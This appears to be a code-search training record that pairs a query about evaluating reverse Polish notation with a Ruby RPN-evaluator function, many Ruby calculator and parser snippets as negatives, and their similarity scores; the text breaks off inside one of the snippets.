"def recursive_eval_infix(string)\n raise \"Bad characters\" if string =~ INVALID_CHARACTERS\n source = StringEnumerator.new(string)\n result = eval_infix(source)\n raise \"Extra characters at the end of the expression\" unless source.empty?\n result\nend",
"def to_infix\n case self\n in [:all]\n \"\"\n in [:none]\n \"none\"\n in [:wildcard, name]\n name\n in [:tag, name]\n name\n in [:metatag, name, value, quoted]\n \"#{name}:#{quoted_value}\"\n in :not, child\n child.term? ? \"-#{child.to_infix}\" : \"-(#{child.to_infix})\"\n in :opt, child\n child.term? ? \"~#{child.to_infix}\" : \"~(#{child.to_infix})\"\n in :and, *children\n children.map { _1.children.many? ? \"(#{_1.to_infix})\" : _1.to_infix }.join(\" \")\n in :or, *children\n children.map { _1.children.many? ? \"(#{_1.to_infix})\" : _1.to_infix }.join(\" or \")\n end\n end",
"def add_next_infix_terms(priority, first)\n old_operator = nil\n term = first\n loop do\n # we expect an infix operator\n operator = get_operator\n logger.debug \"we found operator '#{operator}'\" unless operator.nil?\n if operator.nil? || operator.prefix? || operator.priority <= priority\n logger.debug \"operator '#{operator}' is nil\" if operator.nil?\n logger.debug \"operator '#{operator}' is prefex\" if !operator.nil? && operator.prefix?\n if !operator.nil? && operator.priority <= priority\n logger.debug \"operator '#{operator}' has less priority #{operator.priority}\" \\\n \" than #{priority}\"\n end\n logger.debug \"get_next_infix_terms: #{term}\"\n return term\n end\n if old_operator.nil? || old_operator.priority >= operator.priority\n # old operator has not less priority\n read_token\n new_term = read_maximal_term(operator.priority)\n error(\"to few arguments for operator '#{operator}'\") if new_term.nil?\n logger.debug \"is '#{old_operator}' == '#{operator}' : #{old_operator == operator}\"\n if old_operator == operator\n if operator.maximum && term.args.size + 1 >= operator.maximum\n raise \"to much arguments for operator '#{operator}'\"\n end\n term.add(new_term)\n else\n also_new_term = Term.new(operator)\n also_new_term.add(term)\n also_new_term.add(new_term)\n term = also_new_term\n end\n else\n # old operator has less priority\n new_term = read_maximal_term(operator.priority)\n error(\"to few arguments for operator '#{operator}'\") if new_term.nil?\n also_new_term = Term.new(operator)\n also_new_term.add(term)\n also_new_term.add(new_term)\n term = also_new_term\n end\n old_operator = operator\n end\n end",
"def Calculator(leftParam, rightParam, operator)\n\n case operator\n\n when \"+\"\n return leftParam + rightParam;\n when \"*\"\n\n i = 0\n result = 0\n while i < leftParam #2\n result = result + rightParam #@\n i= i + 1\n end\n\n return result\n end\nend",
"def expression\n n = term\n while next_token == '+' || next_token == '-'\n op = consume\n m = term\n n = case op\n when '+'\n n + m\n when '-'\n n - m\n else\n nil\n end\n end\n n\n end",
"def calculate\n\t\tplace_in_containers()\n\n\t\t# Checks for mismatch between the number of operands and operators.\n\t\t# The only valid number of operators for N operands is (N - 1).\n\t\tunless @operands.size - @operators.size == 1\n\t\t\t@valid = false\n\t\t\[email protected](\"Operand/Operator mismatch.\")\n\t\tend\n\n\t\t# Checks for operators present before the first two operands\n\t\t# are written. This is incorrect RPN syntax.\n\t\tif (@instructions[0..1] & [1010, 1011, 1100, 1101]).any?\n\t\t\t@valid = false\n\t\t\[email protected](\"Operator present before first two operands.\")\n\t\tend\n\n\t\t# Checks for an empty operand stack. In this case, there is\n\t\t# nothing more to do in the method.\n\t\tif @operands.empty?\n\t\t\[email protected](\"No operands.\")\n\t\t\treturn [0, false]\n\t\tend\n\n\t\t# Runs a loop until fewer than two operands or fewer than 1\n\t\t# operators are present in their respective containers.\n\t\tuntil @operands.size == 1 || @operators.size == 0 do\n\t\t\t# Pops the first operator from the front of the queue.\n\t\t\toperator = @operators.shift\n\n\t\t\t# Pops the top and second-to-top operands off of the stack.\n\t\t\topright = @operands.pop\n\t\t\topleft = @operands.pop\n\n\t\t\t# Returns prematurely before division by zero occurs.\n\t\t\tif operator == \"/\" && opright == 0\n\t\t\t\tputs \"division by zero\"\n\t\t\t\treturn [0, false]\n\t\t\tend\n\n\t\t\t# Sends the operator and the right operand to the left operand\n\t\t\t# and thereby invokes FixedNum#+, the method used for adding\n\t\t\t# integers.\n\t\t\[email protected](opleft.send(operator, opright))\n\t\tend\n\n\t\t# Returns the last element of @operands and the value of @valid.\n\t\t[@operands[-1], @valid]\n\tend",
"def minilang(commands)\n stack = []\n register = 0\n command_arr = commands.split\n\n command_arr.each do |command|\n case command\n when \"PUSH\"\n stack.push(register)\n when \"ADD\"\n register += stack.pop\n when \"SUB\"\n register -= stack.pop\n when \"MULT\"\n register *= stack.pop\n when \"DIV\"\n if stack.last == 0\n puts \"Divide by zero error. Can't perform \\\"DIV\\\" command.\"\n else\n register /= stack.pop\n end\n when \"MOD\"\n if stack.last == 0\n puts \"Divide by zero error. Can't perform \\\"MOD\\\" command.\"\n else\n register %= stack.pop\n end\n when \"POP\"\n register = stack.pop\n when \"PRINT\"\n puts register\n else\n register = command.to_i\n end\n end\nend",
"def evaluate_postfix(postfix_expression)\n stack = Stack.new()\n return nil if postfix_expression.empty?\n\n # This solution would not work for floats\n postfix_expression.each_char do |char|\n if char.match?(/\\d/)\n stack.push(char)\n elsif char.match?(/[*-\\/+]/)\n val_1 = stack.pop().to_i\n val_2 = stack.pop().to_i\n result = nil\n\n case char\n when '*'\n result = val_1 * val_2\n when '-'\n result = val_2 - val_1\n when '/'\n result = val_2 / val_1\n when '+'\n result = val_1 + val_2\n end\n\n stack.push(result)\n else\n raise StandardError.new \"Invalid character #{char}.\"\n end\n end\n\n return stack.pop()\nend",
"def get_operator\n begin\n puts \"Please choice the operator:\"\n puts \"1: add \\n2: substract \\n3: multiply \\n4: divide\"\n operator = gets.chomp.to_i\n end while ![1,2,3,4].include?(operator)\n return operator\nend",
"def minilang(program_str)\n register = 0\n stack = []\n commands = program_str.split(' ')\n\n commands.each do |command|\n case command\n when 'PUSH' then stack << register\n when 'ADD' then register += (stack.pop).to_i\n when 'SUB' then register -= (stack.pop).to_i\n when 'MULT' then register *= (stack.pop).to_i\n when 'DIV' then register /= (stack.pop).to_i\n when 'MOD' then register %= (stack.pop).to_i\n when 'POP' then register = (stack.pop).to_i\n when 'PRINT' then puts register\n else register = command.to_i\n end\n end\nend",
"def eval\n return @value unless @value.nil?\n \n debug \"\\nfor RPN expression: #{expression}\\nTerm\\tAction\\tStack\"\n stack = []\n expression.split.each do |term|\n if Operators.has_key?(term)\n a, b = stack.pop(2)\n raise ArgumentError, \"not enough operands on the stack\" if b.nil?\n a = a.to_f if term == \"/\"\n op = (term == \"^\" ? \"**\" : term)\n stack.push(a.method(op).call(b))\n debug \"#{term}\\t#{Operators[term].english}\\t#{stack}\"\n else\n begin\n number = Integer(term) rescue Float(term)\n rescue ArgumentError\n raise ArgumentError, \"cannot handle term: #{term}\"\n end\n stack.push(number)\n debug \"#{number}\\tPUSH\\t#{stack}\"\n end\n end\n @value = stack.pop\n debug \"Value = #@value\"\n @value\n end",
"def operator_to_string\n {\n \"+\" => 'plus', \n \"-\" => 'minus'\n }\n end",
"def convertArithmetic(op)\n case op\n\n #basic arithmetic operations\n when \"add\"\n cmds = \"//add\"+\"\\n\" + arithmeticBinary(\"+\")\n\n when \"sub\"\n cmds = \"//subtract\"+\"\\n\" +arithmeticBinary(\"-\")\n\n when \"neg\"\n cmds = \"//negate\" +\"\\n\"+arithmeticUnary(\"-\")\n\n #basic bitwise operations\n when \"and\"\n cmds = \"//and\" +\"\\n\"+arithmeticBinary(\"&\")\n\n when \"or\"\n cmds = \"//or\" +\"\\n\"+arithmeticBinary(\"|\")\n\n when \"not\"\n cmds = \"//not\" +\"\\n\"+arithmeticUnary(\"!\")\n else\n cmds = \"//not a legal command\"\n end\n\n return cmds\nend",
"def parse_multiply\n tree = parse_factor()\n\n while multiply?\n operator, factor = parse_multiply_tail()\n tree = [operator, tree, factor]\n end\n\n tree\n end",
"def perform_operation(operator)\n operands = stack.last(2)\n if valid_operation?(operator, operands)\n operands = stack.pop(2).map(&:to_f)\n new_value = operands[0].send(operator, operands[1]).to_s\n\n Input.new(new_value)\n end\n end",
"def operators\n {\n \"+\" => -> {@num1 + @num2},\n \"-\" => -> {@num1 - @num2}\n }\n end",
"def generate_tree(operands, operators, parent_node)\n return operands[0] if operands.length==1\n\n i = index_of_lowest_precedence(operators)\n operator = operators[i]\n new_operand = node_class.new(parent_node)\n new_operand.add_match generate_tree(operands[0..i], operators[0..i-1],new_operand), :left\n new_operand.add_match operators[i], :operator_node\n new_operand.add_match generate_tree(operands[i+1..-1], operators[i+1..-1],new_operand), :right\n new_operand\n end",
"def minilang(program)\n stack = []\n register = 0\n commands = program.split\n commands.each do |command|\n case command\n when 'PUSH' then stack << register\n when 'ADD' then register += stack.pop\n when 'SUB' then register -= stack.pop\n when 'MULT' then register = register * stack.pop\n when 'DIV' then register = register / stack.pop\n when 'MOD' then register = register % stack.pop\n when 'POP' then register = stack.pop\n when 'PRINT' then puts register\n else register = command.to_i\n end\n end\n nil\nend",
"def question_three\n dequeued = []\n my_queue = MyQueue.new\n my_queue.enqueue(5)\n my_queue.enqueue(3)\n my_queue.enqueue(2)\n my_queue.enqueue(7)\n my_queue.enqueue(1)\n my_queue.enqueue(2)\n my_queue.enqueue(4)\n dequeued << my_queue.dequeue\n my_queue.enqueue(3)\n my_queue.enqueue(7)\n my_queue.enqueue(1)\n dequeued << my_queue.dequeue\n [my_queue.to_s,dequeued]\nend",
"def unary\r\n if consume(\"+\")\r\n unary()\r\n elsif consume(\"-\")\r\n new_binary(ND_SUB, new_num(0), unary())\r\n else\r\n primary()\r\n end\r\nend",
"def minilang(string)\n register = 0\n stack = []\n\n operation_array = string.downcase.split\n\n operation_array.map!{ |x| x.to_i == 0 ? x : x.to_i }\n\n string.split.size.times do\n register = operation_array.shift if operation_array.first.to_i != 0\n\n case operation_array[0]\n when \"print\"\n p register\n operation_array.shift\n when \"push\"\n stack << register\n operation_array.shift\n when \"mult\"\n register *= stack.pop\n operation_array.shift\n when \"add\"\n register += stack.pop\n operation_array.shift\n when \"pop\"\n register = stack.pop\n operation_array.shift\n when \"div\"\n register /= stack.pop\n operation_array.shift\n when \"mod\"\n register %= stack.pop\n operation_array.shift\n when \"sub\"\n register -= stack.pop\n operation_array.shift\n end\n end\nend",
"def tokens(ops)\n \t\toperators = {\"+\" => :+, \"-\" => :-, \"*\" => :*, \"/\" => :/}\n \t\tops = ops.split(\" \")\n \t\ttokenized = []\n \t\tops.each do |op|\n \t\t\tif operators.has_key?(op)\n \t\t\t\ttokenized << operators[op]\n \t\t\telse\n \t\t\t\ttokenized << op.to_i\n \t\t\tend\n \t\tend\n \t\ttokenized\n end",
"def operator; end"
] |
[
"0.6617116",
"0.6298454",
"0.62494934",
"0.6237868",
"0.6205052",
"0.6199971",
"0.6113251",
"0.610077",
"0.60413843",
"0.5978285",
"0.5971562",
"0.59494454",
"0.5932642",
"0.59130585",
"0.59071696",
"0.58635783",
"0.5860098",
"0.58552516",
"0.5846615",
"0.58230674",
"0.57639134",
"0.57579017",
"0.5733565",
"0.5723403",
"0.57219803",
"0.57025987",
"0.56793195",
"0.5652417",
"0.5648806",
"0.5638606",
"0.5629814",
"0.56279993",
"0.5615289",
"0.56084293",
"0.56040615",
"0.5553189",
"0.5548341",
"0.5545227",
"0.5545025",
"0.55353016",
"0.55246437",
"0.55117995",
"0.54635215",
"0.5459625",
"0.54592484",
"0.5449472",
"0.5447387",
"0.5422458",
"0.54100883",
"0.5394037",
"0.5392051",
"0.53909725",
"0.53906447",
"0.5388197",
"0.5378498",
"0.5371698",
"0.5365708",
"0.5353351",
"0.53481966",
"0.53469765",
"0.53466606",
"0.5339484",
"0.5335668",
"0.5331914",
"0.53199714",
"0.5318846",
"0.5304324",
"0.5300096",
"0.52824706",
"0.52700627",
"0.52693915",
"0.5262435",
"0.5256646",
"0.5248349",
"0.5247886",
"0.5241301",
"0.5239285",
"0.5234963",
"0.52316374",
"0.52219886",
"0.52217084",
"0.52140766",
"0.5213845",
"0.52127784",
"0.5212611",
"0.5209965",
"0.5209323",
"0.52088845",
"0.5204016",
"0.5197021",
"0.5184391",
"0.5133395",
"0.51322913",
"0.51293355",
"0.5128705",
"0.51256937",
"0.5114599",
"0.5083635",
"0.5069463",
"0.50678843"
] |
0.6781429
|
0
|
Process a stack of tokens in reverse polish notation completely and return the result
|
def process_rpn_token_queue(input_queue)
output_stack = []
while input_queue.length > 0
input_queue_peek = input_queue.last
if input_queue_peek.is_a?(Integer)
output_stack.push(input_queue.pop)
else # Must be an operator
raise input_queue.pop + ' is not between two numbers!' if output_stack.length < 2
operator = input_queue.pop
operand_b = output_stack.pop
operand_a = output_stack.pop
output_stack.push(process_operator_token(operator, operand_a, operand_b))
end
end
raise 'Extra numbers detected!' if output_stack.length > 1
output_stack[0] # There can be only one!
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def convert_to_postfix tokens\n tokens.each do |token|\n if token.is_a? Integer\n @post_fix_expression << token\n elsif token == \"(\"\n @operator_stack << token\n elsif token.match(/[\\*\\/\\+\\-]/)\n while @operator_stack.last && @operator_stack.last.match(/[\\*\\/\\+\\-]/) && (prescedence_of(token) <= prescedence_of(@operator_stack.last))\n @post_fix_expression << @operator_stack.pop\n end\n @operator_stack << token\n elsif token == \"(\"\n @operator_stack << token\n elsif token == \")\"\n until @operator_stack.last == \"(\"\n @post_fix_expression << @operator_stack.pop\n end\n @operator_stack.pop #throw away the left paren that was stored in the stack\n end\n end \n until @operator_stack.empty?\n @post_fix_expression << @operator_stack.pop\n end \n end",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n\n (SYMBOL_TABLE[token].arity - 1).times do\n # This adds the return value of stack.pop to the beginning of the\n # args array\n args.unshift(stack.pop)\n end\n\n # The *args syntax might be unfamiliar. It's called the \"splat\"\n # operator and among other things it lets you turn an array into\n # a list of arguments.\n stack.push(call_operator(stack, token, *args))\n else\n stack.push(token)\n end\n end\n\n stack.pop\n end",
"def next_token; @stack.shift; end",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n\n SYMBOL_TABLE[token].arity.times do\n # This adds the return value of stack.pop to the beginning of the\n # args array\n args.unshift(stack.pop)\n end\n\n # The *args syntax might be unfamiliar. It's called the \"splat\"\n # operator and among other things it lets you turn an array into\n # a list of arguments.\n stack.push(call_operator(token, *args))\n else\n raise \"omg what is this token even?\"\n end\n end\n\n stack.pop\n end",
"def evaluate_with_two_stacks(string)\n vals = Stack.new\n ops = Stack.new\n\n string.each_char do |char|\n case char\n when \"(\"\n # do nothing\n when \"+\"\n ops.push(char)\n when \"*\"\n ops.push(char)\n when \")\"\n op = ops.pop\n case op\n when \"+\"\n vals.push(vals.pop + vals.pop)\n when \"*\"\n vals.push(vals.pop * vals.pop)\n end\n else\n vals.push(char.to_i)\n end\n end\n\n vals.pop\nend",
"def tokens_rpn\n output = []\n operators = []\n\n @tokens.each do |token|\n case token.type\n when :value\n output.push(token)\n when :operator\n if operators.any? && token.lexeme.precedence >= operators.last.lexeme.precedence\n output.push(operators.pop)\n end\n\n operators.push(token)\n end\n end\n\n output.concat(operators.reverse)\n end",
"def evaluate() \n # operand stack\n opStack = []\n \n # iterate over the tokens\n @postfix.split(\"\").each do |c|\n # check if an operator\n if %w[+ - * / ^].include? c\n # pop the stack for the two operands where\n # a [operator] b\n b, a = opStack.pop, opStack.pop\n \n # evaluate the string as an arithmetic expression\n # replace all '^' characters with '**' operator\n opStack.push(eval(\"(#{a})#{c}(#{b})\".gsub(/\\^/,'**')))\n else\n # push any operands onto stack\n opStack.push(c)\n end\n end\n \n # Last item in stack should be the final answer!\n opStack.pop\n end",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n SYMBOL_TABLE[token].arity.times do\n args.unshift(stack.pop)\n end\n\n stack.push(call_operator(token, *args))\n else\n raise \"omg what is this token?\"\n end\n end\n\n stack.pop\n end",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif token == \"+\"\n # handle addition\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs + rhs)\n elsif token == \"*\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs * rhs)\n elsif token == \"-\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs - rhs)\n elsif token == \"/\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs / rhs)\n elsif token == \"^\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs ** rhs)\n elsif token == \"%\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs % rhs)\n elsif token == \"max\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push([lhs, rhs].max)\n elsif token == \"min\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push([lhs, rhs].min)\n elsif token == \"rand\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(rand(lhs..rhs))\n elsif token == \"sample\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push([lhs, rhs].sample)\n elsif token == \"!\"\n num = stack.pop\n stack.push(factorial(num))\n else\n raise \"omg what is this token even?\"\n end\n end\n\n stack.pop\n end",
"def rpn(operation)\n rpn_stack = Stack.new\n tokens = parse_tokens(operation)\n puts tokens.to_s\n tokens.each do |token|\n if !is_operator?(token)\n puts \"pushing token #{token}\"\n rpn_stack.push(token)\n else\n val2 = rpn_stack.pop\n val1 = rpn_stack.pop\n rpn_stack.push(calculate(val1,val2, token))\n end # end of if\n end # end of each\n rpn_stack.pop\nend",
"def evaluate_postfix(postfix_expression)\n stack = Stack.new\n postfix_expression.each_char do |n|\n if /\\+|-|\\*|\\//.match(n)\n stack_operation_helper(stack, stack.pop, stack.pop, n)\n else \n stack.push(n)\n end \n end \n return stack.pop\nend",
"def scan_token(token)\n prev_state = @stack.last\n case token\n when :on_symbeg, :on_symbols_beg, :on_qsymbols_beg\n @stack << true\n when :on_ident, :on_op, :on_const, :on_ivar, :on_cvar, :on_gvar, :on_kw\n if @stack.last # Pop only when it's Symbol\n @stack.pop\n return prev_state\n end\n when :on_tstring_beg\n @stack << false\n when :on_embexpr_beg\n @stack << false\n return prev_state\n when :on_tstring_end # :on_tstring_end may close Symbol\n @stack.pop\n return prev_state\n when :on_embexpr_end\n @stack.pop\n end\n @stack.last\n end",
"def evaluate(postfix)\n stack = Stack.new\n operators = \"+-*/^\"\n for i in 0..postfix.size-1\n if !operators.include?(postfix[i])\n stack.push(postfix[i].to_i)\n else\n case postfix[i]\n when '+'\n value = stack.pop() + stack.pop\n when '-'\n b = stack.pop()\n value = stack.pop() - b\n when '*'\n value = stack.pop() * stack.pop\n when '/'\n b = stack.pop()\n value = stack.pop() / b\n when '^'\n b = stack.pop()\n value = stack.pop ^ b\n end\n stack.push(value)\n end\n end\n stack.pop\nend",
"def do_back_slash s; a = mega_pop(s); b = mega_pop(s); s[:stack] += [a,b] end",
"def parse\n @tokens = tokenize\n while @tokens.last.is_a?(Symbol) do\n @tokens.delete_at(@tokens.size - 1)\n end\n parse_expression_sequence(true).simplify\n end",
"def evaluatePostfix(exprStr)\n stack = []\n exprStr.split(\" \").each do |token|\n if operand? token then\n stack.push token\n elsif operator? token then\n y = stack.pop\n x = stack.pop\n stack.push applyOperator(x, y, token)\n end\n end\n stack.pop\n end",
"def parse_tail(tok)\n\t\tif tok.size == 0\n\t\t\traise SyntaxError, 'EOF unexpected'\n\t\tend\n\t\tfirst_tok = tok.delete_at(0)\n\t\tif '(' == first_tok\n\t\t\tx = []\n\t\t\twhile tok[0] != ')'\n\t\t\t\tx << parse_tail(tok)\n\t\t\tend\n\t\t\ttok.delete_at(0)\n\t\t\treturn x\n\t\telsif ')' == first_tok\n\t\t\traise SyntaxError, '\\')\\' unexpected'\n\t\telse\n\t\t \treturn convert_tok(first_tok)\n\t\tend\n\tend",
"def evaluate post_fix_expression\n stack = []\n while !post_fix_expression.empty? \n top = post_fix_expression.shift\n if top == \"*\"\n y, x = stack.pop, stack.pop \n stack.push(x * y)\n elsif top == \"/\"\n y, x = stack.pop, stack.pop\n stack.push(x/y)\n elsif top == \"+\"\n y, x = stack.pop, stack.pop\n stack.push(x+y)\n elsif top == \"-\"\n y, x = stack.pop, stack.pop\n stack.push(x-y)\n else\n stack.push(top)\n end\n end\n stack.pop\n end",
"def read_from(tokens)\n\t\t\tif tokens.length == 0\n\t\t\t\traise SyntaxError, \"unexpected EOF while reading\"\n\t\t\tend\n\t\t\ttokens.delete_if { |item| item.strip == \"\" || item == []}\n\t\t\ttmp, expression = restructure tokens\n\t\t\treturn expression\n\t\tend",
"def stack_eval_infix(string)\n raise \"Bad characters\" if string =~ INVALID_CHARACTERS\n op_stack = LinkedStack.new\n value_stack = LinkedStack.new\n string.chars do | ch |\n case\n when ch =~ /\\d/ || ch == ')'\n if ch == ')'\n raise \"Missing left parenthesis\" if op_stack.empty? || op_stack.top != '('\n op_stack.pop\n else\n value_stack.push(ch.to_i)\n end\n while !op_stack.empty? && op_stack.top =~ OPERATORS\n op = op_stack.pop\n raise \"Missing argument\" if value_stack.empty?\n right_arg = value_stack.pop\n raise \"Missing argument\" if value_stack.empty?\n left_arg = value_stack.pop\n value_stack.push( evaluate(op, left_arg, right_arg) )\n end\n when ch =~ OPERATORS || ch == '('\n op_stack.push(ch)\n end\n end\n raise \"Missing expression\" if value_stack.empty?\n raise \"Too many arguments\" unless value_stack.size == 1\n raise \"Missing argument\" unless op_stack.empty?\n value_stack.pop\nend",
"def exp\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 24 )\n __ADDITIONSUBSTRACTIONOPERATORS11__ = nil\n\n begin\n # at line 726:5: term ( ADDITIONSUBSTRACTIONOPERATORS term )*\n @state.following.push( TOKENS_FOLLOWING_term_IN_exp_1113 )\n term\n @state.following.pop\n # at line 726:10: ( ADDITIONSUBSTRACTIONOPERATORS term )*\n while true # decision 27\n alt_27 = 2\n look_27_0 = @input.peek( 1 )\n\n if ( look_27_0 == ADDITIONSUBSTRACTIONOPERATORS )\n alt_27 = 1\n\n end\n case alt_27\n when 1\n # at line 726:11: ADDITIONSUBSTRACTIONOPERATORS term\n __ADDITIONSUBSTRACTIONOPERATORS11__ = match( ADDITIONSUBSTRACTIONOPERATORS, TOKENS_FOLLOWING_ADDITIONSUBSTRACTIONOPERATORS_IN_exp_1116 )\n # --> action\n #Regla 2 GC\n @stack_operators.push(__ADDITIONSUBSTRACTIONOPERATORS11__.text)\n \n # <-- action\n @state.following.push( TOKENS_FOLLOWING_term_IN_exp_1143 )\n term\n @state.following.pop\n # --> action\n #Regla 4 GC / VS\n if(@stack_operators.last == '+' or\n @stack_operators.last == '-' or\n @stack_operators.last == '||' ) then\n operator = @stack_operators.pop\n operand_b = @stack_operands.pop\n operand_a = @stack_operands.pop\n result = get_avail\n generate(operator, operand_a, operand_b, result)\n free_avail(operand_a)\n free_avail(operand_b)\n free_avail_const(operand_a)\n free_avail_const(operand_b)\n @stack_operands.push(result)\n @stack_types.push(resulting_type(@stack_types.pop, @stack_types.pop, operator))\n end\n \n # <-- action\n\n else\n break # out of loop for decision 27\n end\n end # loop for decision 27\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 24 )\n\n end\n \n return \n end",
"def read_from_tokens(tokens)\n raise SyntaxError, 'unexpected EOF while reading' if tokens.size == 0\n token = tokens.shift\n if '(' == token\n sexp = []\n sexp.push(read_from_tokens(tokens)) while tokens.first != ')'\n tokens.shift # remove the ')'\n return sexp\n elsif ')' == token\n raise SyntaxError, 'unexpected )'\n else\n return atom(token)\n end\nend",
"def parse\n IL::LazyValue.new parse_infix_tokens @tokens\n end",
"def stackEval(cmdStack, resStack, memState)\n # cmdStack => the command stack implemented using a list\n # resStack => the results stack implemented using a list\n # memState => the memory state implemented using a block. Will contain a map for variable names and their integers\n\n # create a map to convert vals in resStack to actual operators\n # stack will be an array where elements are added to front and removed from front\n i = 0\n while true do\n if cmdStack.length == 0\n break\n end\n if cmdStack[0].is_a?(GCConst)\n #puts \"const\"\n #puts cmdStack[0].value\n # add constants from control stack to results stack\n resStack.unshift(cmdStack[0].value) # puts the value from cmdStack[i] into the start of resStack\n cmdStack = cmdStack.drop(1) # remove top value (index 0) from command stack\n i += 1\n elsif cmdStack[0].is_a?(GCTrue)\n # add booleans from control stack to results stack\n resStack.unshift(cmdStack[0].value) # puts the value from cmdStack[i] into the start of resStack\n cmdStack = cmdStack.drop(1)\n i += 1 \n elsif cmdStack[0].is_a?(GCFalse)\n # add booleans from control stack to results stack\n resStack.unshift(cmdStack[0].value) # puts the value from cmdStack[i] into the start of resStack\n cmdStack = cmdStack.drop(1)\n i += 1\n elsif cmdStack[0].is_a?(GCOp)\n #puts \"op\"\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1) \n cmdStack.unshift(a.op) #add operator to the stack\n cmdStack.unshift(a.e2) # add second expr to cmdStack\n cmdStack.unshift(a.e1) # add first expr to cmdStack\n i += 1\n\n # binary operators on cmd stack\n elsif cmdStack[0] == :plus\n b = resStack[0] # get first value from resStack. This will be the second expr in the operator statement\n resStack = resStack.drop(1)\n a = resStack[0] # get next value from resStack. This will be the first expr in the operator statement\n resStack = resStack.drop(1)\n resStack.unshift(a + b) #apply operator and put it back on resStack\n cmdStack = cmdStack.drop(1)\n i += 1\n elsif cmdStack[0] == :minus\n b = resStack[0]\n resStack = resStack.drop(1)\n a = resStack[0]\n resStack = resStack.drop(1)\n resStack.unshift(a - b)\n cmdStack = cmdStack.drop(1)\n i += 1\n elsif cmdStack[0] == :times\n b = resStack[0]\n resStack = resStack.drop(1)\n a = resStack[0]\n resStack = resStack.drop(1)\n resStack.unshift(a * b)\n cmdStack = cmdStack.drop(1)\n i += 1\n elsif cmdStack[0] == :div\n b = resStack[0]\n resStack = resStack.drop(1)\n a = resStack[0]\n resStack = resStack.drop(1)\n resStack.unshift(a / b)\n cmdStack = cmdStack.drop(1)\n i += 1\n\n # variable\n elsif cmdStack[0].is_a?(GCVar)\n # apply memoryState function to variable and add to resultStack\n\n x = memState.call(cmdStack[0].value)\n #puts \"var\"\n #puts x\n resStack.unshift(memState.call(cmdStack[0].value))\n # remove GCVar from commandstack\n cmdStack = cmdStack.drop(1)\n i += 1\n\n # Test compare\n elsif cmdStack[0].is_a?(GCComp)\n #puts \"comp\"\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1)\n cmdStack.unshift(a.op) #add operator to the stack\n cmdStack.unshift(a.e2) # add second expr to cmdStack\n cmdStack.unshift(a.e1) # add first expr to cmdStack\n i += 1 \n\n # less\n elsif cmdStack[0] == :less\n #puts \"less\"\n a = resStack[1]\n b = resStack[0]\n resStack = resStack.drop(2)\n resStack.unshift(a < b)\n cmdStack = cmdStack.drop(1)\n\n # greater\n elsif cmdStack[0] == :greater\n a = resStack[1]\n b = resStack[0]\n #puts \"greater\"\n resStack = resStack.drop(2)\n resStack.unshift(a > b)\n cmdStack = cmdStack.drop(1)\n\n # eq\n elsif cmdStack[0] == :eq\n a = resStack[0]\n b = resStack[1]\n resStack = resStack.drop(2)\n resStack.unshift(a == b)\n cmdStack = cmdStack.drop(1)\n\n elsif cmdStack[0].is_a?(GCAnd)\n #puts \"and gc\"\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1)\n cmdStack.unshift(\"and\")\n cmdStack.unshift(a.t2)\n cmdStack.unshift(a.t1)\n\n elsif cmdStack[0] == \"and\"\n a = resStack[0]\n b = resStack[1]\n #puts a&b\n resStack = resStack.drop(2)\n cmdStack = cmdStack.drop(1)\n resStack.unshift(a & b)\n\n elsif cmdStack[0].is_a?(GCOr)\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1)\n cmdStack.unshift(\"or\")\n cmdStack.unshift(a.t2)\n cmdStack.unshift(a.t1)\n\n elsif cmdStack[0] == \"or\"\n a = resStack[0]\n b = resStack[1]\n resStack = resStack.drop(2)\n cmdStack.drop(1)\n resStack.unshift(a | b)\n\n\n\n # skip\n elsif cmdStack[0].is_a?(GCSkip)\n # no changes to result stack or memState\n cmdStack = cmdStack.drop(1)\n break\n i += 1\n\n # variable assignment\n elsif cmdStack[0].is_a?(GCAssign)\n # add to memState the new variable substitution \n #puts \"assign\"\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1) # remove GCAssign from cmdstack\n cmdStack.unshift(a.s) # add symbol to be assigned\n cmdStack.unshift(\"assign\") # add assign statement\n cmdStack.unshift(a.e) # add expression to be evaluated\n i += 1\n \n #assignment operator\n # command stack [\"assign\",symbol,...]\n # res stack [const,...]\n elsif cmdStack[0] == \"assign\"\n memState = updateState(memState, cmdStack[1], resStack[0])\n cmdStack = cmdStack.drop(2) # remove assign and symbol\n resStack = resStack.drop(1) # remove constant \n i += 1\n\n # compose\n elsif cmdStack[0].is_a?(GCCompose)\n #puts \"compose\"\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1) # remove GCCompose from command stack\n cmdStack.unshift(a.st2) # add 2nd statement to be evaluated\n cmdStack.unshift(a.st1) # add first statement to be evaluated\n i += 1\n\n # if statement breakdown\n elsif cmdStack[0].is_a?(GCIf)\n p = cmdStack[0] # top element from stack. Should be of type GCIf\n cmdStack = cmdStack.drop(1) #remove GCIf from cmdStack\n l = 